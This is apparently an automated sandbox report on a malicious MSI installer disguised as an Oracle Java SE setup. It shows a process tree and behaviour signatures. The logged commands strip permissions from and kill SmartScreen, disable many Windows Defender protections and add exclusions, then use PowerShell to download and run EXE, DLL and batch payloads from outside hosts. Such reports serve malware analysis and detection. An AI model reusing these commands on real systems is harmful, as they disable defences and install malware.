Analysis

  • max time kernel
    142s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    09/08/2021, 08:26

General

  • Target
    d18dac9b78e5b5b800a21e939f872497ee81422e9538207ec2ffc0282603a341.msi
  • Size 3.9MB
  • Sample210809-na8fck56mj
  • SHA256 d18dac9b78e5b5b800a21e939f872497ee81422e9538207ec2ffc0282603a341
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Possible privilege escalation attempt 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Modifies file permissions 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 27 IoCs
  • Drops file in Windows directory 14 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 23 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\d18dac9b78e5b5b800a21e939f872497ee81422e9538207ec2ffc0282603a341.msi
    1⤵
    • Blocklisted process makes network request
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2388
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3820
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 2D993E92B2D09631CD74F1856535790F
      2⤵
      • Loads dropped DLL
      PID:3288
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 18904317B38844EB16A094B3EED56370 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4008
      • C:\Windows\syswow64\cmd.exe
        "cmd.exe" /C "C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\setup.bat"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2500
        • C:\Windows\SysWOW64\takeown.exe
          takeown /f "C:\Windows\System32\smartscreen.exe" /a
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3508
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\System32\smartscreen.exe" /reset
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:204
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /im smartscreen.exe /f
          4⤵
          • Kills process with taskkill
          PID:2948
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\System32\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-18
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2704
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:3156
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Add-MpPreference -ExclusionExtension ".exe""
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:2120
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Add-MpPreference -ExclusionExtension ".dll""
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:3120
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c powershell.exe -command "Set-MpPreference -MAPSReporting 0"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1292
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -command "Set-MpPreference -MAPSReporting 0"
            5⤵
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:776
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -PUAProtection disable"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4576
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:3752
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4672
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4700
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4756
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4844
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4548
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:5008
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:5088
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4204
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableScriptScanning $true"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:2632
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:500
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:1796
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:1296
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4368
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"
          4⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4780
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -ScanScheduleDay 8"
          4⤵
          • Modifies data under HKEY_USERS
          PID:644
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell Invoke-WebRequest https://atclouroettfbquhfimp.com/start.EXE -OutFile start.EXE
          4⤵
          • Blocklisted process makes network request
          • Modifies data under HKEY_USERS
          PID:1000
        • C:\Windows\SysWOW64\explorer.exe
          explorer.exe "start.EXE"
          4⤵
          • Checks processor information in registry
          PID:5076
  • C:\Windows\explorer.exe
    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
    1⤵
      PID:508
      • C:\Users\Admin\AppData\Roaming\start.EXE
        "C:\Users\Admin\AppData\Roaming\start.EXE"
        2⤵
        • Executes dropped EXE
        • Adds Run key to start application
        PID:2180
        • C:\Windows\SYSTEM32\cmd.exe
          cmd /c start.bat
          3⤵
            PID:3356
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/JavaE.dll -OutFile JavaE.dll
              4⤵
              • Blocklisted process makes network request
              PID:4820
            • C:\Windows\system32\regsvr32.exe
              regsvr32 JavaE.dll
              4⤵
                PID:648
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/nsudo.bat -OutFile nsudo.bat
                4⤵
                • Blocklisted process makes network request
                PID:744
              • C:\Windows\system32\cmd.exe
                cmd /c nsudo.bat
                4⤵
                  PID:2068
                • C:\Windows\system32\timeout.exe
                  timeout 25
                  4⤵
                  • Delays execution with timeout.exe
                  PID:4272

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                memory/500-1301-0x0000000007270000-0x0000000007271000-memory.dmp

                memory/500-1307-0x0000000007272000-0x0000000007273000-memory.dmp

                memory/644-1390-0x0000000004CB0000-0x0000000004CB1000-memory.dmp

                memory/644-1393-0x0000000004CB2000-0x0000000004CB3000-memory.dmp

                memory/644-1564-0x0000000004CB3000-0x0000000004CB4000-memory.dmp

                memory/776-295-0x0000000007223000-0x0000000007224000-memory.dmp

                memory/776-255-0x000000007F2D0000-0x000000007F2D1000-memory.dmp

                memory/776-171-0x0000000008100000-0x0000000008101000-memory.dmp

                memory/776-164-0x0000000007F40000-0x0000000007F41000-memory.dmp

                memory/776-168-0x0000000007FB0000-0x0000000007FB1000-memory.dmp

                memory/776-179-0x0000000007220000-0x0000000007221000-memory.dmp

                memory/776-181-0x0000000007222000-0x0000000007223000-memory.dmp

                memory/776-189-0x0000000008A40000-0x0000000008A41000-memory.dmp

                memory/776-185-0x0000000008610000-0x0000000008611000-memory.dmp

                memory/1000-1425-0x00000000073E0000-0x00000000073E1000-memory.dmp

                memory/1000-1428-0x00000000073E2000-0x00000000073E3000-memory.dmp

                memory/1000-1565-0x00000000073E3000-0x00000000073E4000-memory.dmp

                memory/1296-1342-0x0000000006A02000-0x0000000006A03000-memory.dmp

                memory/1296-1317-0x0000000006A00000-0x0000000006A01000-memory.dmp

                memory/1796-1310-0x0000000004A00000-0x0000000004A01000-memory.dmp

                memory/1796-1314-0x0000000004A02000-0x0000000004A03000-memory.dmp

                memory/2120-158-0x0000000006B20000-0x0000000006B21000-memory.dmp

                memory/2120-153-0x00000000064B0000-0x00000000064B1000-memory.dmp

                memory/2120-292-0x0000000004423000-0x0000000004424000-memory.dmp

                memory/2120-250-0x000000007EEF0000-0x000000007EEF1000-memory.dmp

                memory/2120-183-0x0000000004422000-0x0000000004423000-memory.dmp

                memory/2120-178-0x0000000004420000-0x0000000004421000-memory.dmp

                memory/2632-1273-0x0000000004910000-0x0000000004911000-memory.dmp

                memory/2632-1298-0x0000000004912000-0x0000000004913000-memory.dmp

                memory/3120-176-0x0000000004980000-0x0000000004981000-memory.dmp

                memory/3120-182-0x0000000004982000-0x0000000004983000-memory.dmp

                memory/3120-245-0x000000007F030000-0x000000007F031000-memory.dmp

                memory/3120-296-0x0000000004983000-0x0000000004984000-memory.dmp

                memory/3120-161-0x0000000006E30000-0x0000000006E31000-memory.dmp

                memory/3156-226-0x00000000095D0000-0x0000000009603000-memory.dmp

                memory/3156-193-0x0000000008830000-0x0000000008831000-memory.dmp

                memory/3156-180-0x0000000005030000-0x0000000005031000-memory.dmp

                memory/3156-184-0x0000000005032000-0x0000000005033000-memory.dmp

                memory/3156-294-0x0000000005033000-0x0000000005034000-memory.dmp

                memory/3156-240-0x000000007ED20000-0x000000007ED21000-memory.dmp

                memory/3752-1529-0x0000000002A83000-0x0000000002A84000-memory.dmp

                memory/3752-1206-0x0000000002A80000-0x0000000002A81000-memory.dmp

                memory/3752-1212-0x0000000002A82000-0x0000000002A83000-memory.dmp

                memory/4204-1252-0x0000000006B90000-0x0000000006B91000-memory.dmp

                memory/4204-1257-0x0000000006B92000-0x0000000006B93000-memory.dmp

                memory/4204-1492-0x0000000006B93000-0x0000000006B94000-memory.dmp

                memory/4368-1349-0x00000000067C2000-0x00000000067C3000-memory.dmp

                memory/4368-1344-0x00000000067C0000-0x00000000067C1000-memory.dmp

                memory/4548-1227-0x0000000006CB2000-0x0000000006CB3000-memory.dmp

                memory/4548-1219-0x0000000006CB0000-0x0000000006CB1000-memory.dmp

                memory/4548-1566-0x0000000006CB3000-0x0000000006CB4000-memory.dmp

                memory/4576-1527-0x0000000007413000-0x0000000007414000-memory.dmp

                memory/4576-1195-0x0000000007410000-0x0000000007411000-memory.dmp

                memory/4576-1198-0x0000000007412000-0x0000000007413000-memory.dmp

                memory/4672-1215-0x00000000046D0000-0x00000000046D1000-memory.dmp

                memory/4672-1561-0x00000000046D3000-0x00000000046D4000-memory.dmp

                memory/4672-1241-0x00000000046D2000-0x00000000046D3000-memory.dmp

                memory/4700-1249-0x0000000006482000-0x0000000006483000-memory.dmp

                memory/4700-1223-0x0000000006480000-0x0000000006481000-memory.dmp

                memory/4700-1559-0x0000000006483000-0x0000000006484000-memory.dmp

                memory/4756-1262-0x00000000066D0000-0x00000000066D1000-memory.dmp

                memory/4756-1269-0x00000000066D2000-0x00000000066D3000-memory.dmp

                memory/4756-1491-0x00000000066D3000-0x00000000066D4000-memory.dmp

                memory/4780-1369-0x0000000004520000-0x0000000004521000-memory.dmp

                memory/4780-1388-0x0000000004522000-0x0000000004523000-memory.dmp

                memory/4844-1205-0x0000000004CD2000-0x0000000004CD3000-memory.dmp

                memory/4844-1201-0x0000000004CD0000-0x0000000004CD1000-memory.dmp

                memory/4844-1563-0x0000000004CD3000-0x0000000004CD4000-memory.dmp

                memory/5008-1489-0x0000000006853000-0x0000000006854000-memory.dmp

                memory/5008-1235-0x0000000006852000-0x0000000006853000-memory.dmp

                memory/5008-1230-0x0000000006850000-0x0000000006851000-memory.dmp

                memory/5088-1239-0x0000000004A90000-0x0000000004A91000-memory.dmp

                memory/5088-1245-0x0000000004A92000-0x0000000004A93000-memory.dmp

                memory/5088-1567-0x0000000004A93000-0x0000000004A94000-memory.dmp